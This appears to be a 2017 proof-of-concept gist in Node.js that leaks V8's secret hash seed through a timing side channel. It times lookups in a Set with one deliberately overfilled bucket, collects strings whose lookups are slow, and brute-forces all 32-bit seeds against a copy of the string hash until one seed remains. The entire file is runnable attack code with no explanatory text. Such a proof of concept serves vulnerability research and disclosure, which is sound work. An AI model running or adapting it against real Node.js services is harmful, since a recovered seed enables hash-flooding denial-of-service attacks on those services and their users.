Created
July 12, 2017 00:48
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/* eslint-disable required-modules */ | |
'use strict'; | |
function min(arr) { | |
let res = arr[0]; | |
for (let i = 1; i < arr.length; i++) { | |
const val = arr[i]; | |
if (val < res) res = val; | |
} | |
return res; | |
} | |
function run_repeated(n, fn) { | |
const res = []; | |
for (let i = 0; i < n; i++) res.push(fn()); | |
return res; | |
} | |
const INT_MAX = 0x7fffffff; | |
// from src/js/collection.js | |
// key must be a signed 32-bit number! | |
function ComputeIntegerHash(key /*, seed*/) { | |
let hash = key; | |
hash = hash ^ 0 /*seed*/; | |
hash = ~hash + (hash << 15); // hash = (hash << 15) - hash - 1; | |
hash = hash ^ hash >>> 12; | |
hash = hash + (hash << 2); | |
hash = hash ^ hash >>> 4; | |
hash = hash * 2057 | 0; // hash = (hash + (hash << 3)) + (hash << 11); | |
hash = hash ^ hash >>> 16; | |
return hash & 0x3fffffff; | |
} | |
const kNofHashBitFields = 2; | |
const kHashShift = kNofHashBitFields; | |
const kHashBitMask = 0xffffffff >>> kHashShift; | |
const kZeroHash = 27; | |
function string_to_array(str) { | |
const res = new Array(str.length); | |
for (let i = 0; i < str.length; i++) { | |
res[i] = str.charCodeAt(i); | |
} | |
return res; | |
} | |
function gen_specialized_hasher(str) { | |
const str_arr = string_to_array(str); | |
return Function('seed', ` | |
var running_hash = seed; | |
${str_arr.map(c => ` | |
running_hash += ${c}; | |
running_hash &= 0xffffffff; | |
running_hash += (running_hash << 10); | |
running_hash &= 0xffffffff; | |
running_hash ^= (running_hash >>> 6); | |
running_hash &= 0xffffffff; | |
`).join('')} | |
running_hash += (running_hash << 3); | |
running_hash &= 0xffffffff; | |
running_hash ^= (running_hash >>> 11); | |
running_hash &= 0xffffffff; | |
running_hash += (running_hash << 15); | |
running_hash &= 0xffffffff; | |
if ((running_hash & ${kHashBitMask}) == 0) { | |
return ${kZeroHash}; | |
} | |
return running_hash; | |
`); | |
} | |
// adapted from HashToEntry | |
function hash_to_bucket(hash, numBuckets) { | |
return hash & numBuckets - 1; | |
} | |
function time_set_lookup(set, value) { | |
const t1 = process.hrtime(); | |
for (let i = 0; i < 100; i++) { | |
// annoyingly, SetHas() is JS code and therefore potentially optimizable. | |
// However, SetHas() looks up the table using native code, and it seems like | |
// that's sufficient to prevent the optimizer from doing anything? | |
set.has(value); | |
} | |
const t = process.hrtime(t1); | |
const secs = t[0]; | |
const nanos = t[1]; | |
return secs * 1e9 + nanos; | |
} | |
// Set with 256 buckets; bucket 0 full, others empty | |
const tester_set_buckets = 256; | |
const tester_set = new Set(); | |
let tester_set_treshold; | |
(function () { | |
// fill bucket 0 and find extra numbers mapping to bucket 0 and a different | |
// bucket `capacity == numBuckets * 2` | |
let needed = Math.floor(tester_set_buckets * 1.5) + 1; | |
let positive_test_value; | |
let negative_test_value; | |
for (let i = 0; true; i++) { | |
if (i > INT_MAX) throw new Error('i too high'); | |
if (hash_to_bucket(ComputeIntegerHash(i), tester_set_buckets) !== 0) { | |
negative_test_value = i; | |
break; | |
} | |
} | |
for (let i = 0; needed > 0; i++) { | |
if (i > INT_MAX) throw new Error('i too high'); | |
if (hash_to_bucket(ComputeIntegerHash(i), tester_set_buckets) === 0) { | |
needed--; | |
if (needed == 0) { | |
positive_test_value = i; | |
} else { | |
tester_set.add(i); | |
} | |
} | |
} | |
// calibrate Set access times for accessing the full bucket / an empty bucket | |
const pos_time = min(run_repeated(10000, time_set_lookup.bind(null, tester_set, positive_test_value))); | |
const neg_time = min(run_repeated(10000, time_set_lookup.bind(null, tester_set, negative_test_value))); | |
tester_set_treshold = (pos_time + neg_time) / 2; | |
// console.log(`pos_time: ${pos_time}, neg_time: ${neg_time},`, | |
// `threshold: ${tester_set_treshold}`); | |
})(); | |
// determine hash seed | |
const slow_str_gen = function* () { | |
let strgen_i = 0; | |
outer: while (1) { | |
const str = '#' + strgen_i++; | |
for (let i = 0; i < 1000; i++) { | |
if (time_set_lookup(tester_set, str) < tester_set_treshold) continue outer; | |
} | |
yield str; | |
} | |
}(); | |
const first_slow_str = slow_str_gen.next().value; | |
// console.log('first slow string:', first_slow_str); | |
const first_slow_str_special_hasher = gen_specialized_hasher(first_slow_str); | |
let seed_candidates = []; | |
//var t_before_first_seed_brute = performance.now(); | |
for (let seed_candidate = 0; seed_candidate < 0x100000000; seed_candidate++) { | |
if (hash_to_bucket(first_slow_str_special_hasher(seed_candidate), tester_set_buckets) == 0) { | |
seed_candidates.push(seed_candidate); | |
} | |
} | |
// console.log(`got ${seed_candidates.length} candidates`); | |
// after ${performance.now()-t_before_first_seed_brute} | |
while (seed_candidates.length > 1) { | |
const slow_str = slow_str_gen.next().value; | |
const special_hasher = gen_specialized_hasher(slow_str); | |
const new_seed_candidates = []; | |
for (const seed_candidate of seed_candidates) { | |
if (hash_to_bucket(special_hasher(seed_candidate), tester_set_buckets) == 0) { | |
new_seed_candidates.push(seed_candidate); | |
} | |
} | |
seed_candidates = new_seed_candidates; | |
// console.log(`reduced to ${seed_candidates.length} candidates`); | |
} | |
if (seed_candidates.length != 1) throw new Error('no candidates remaining'); | |
const seed = seed_candidates[0]; | |
console.log(seed); |
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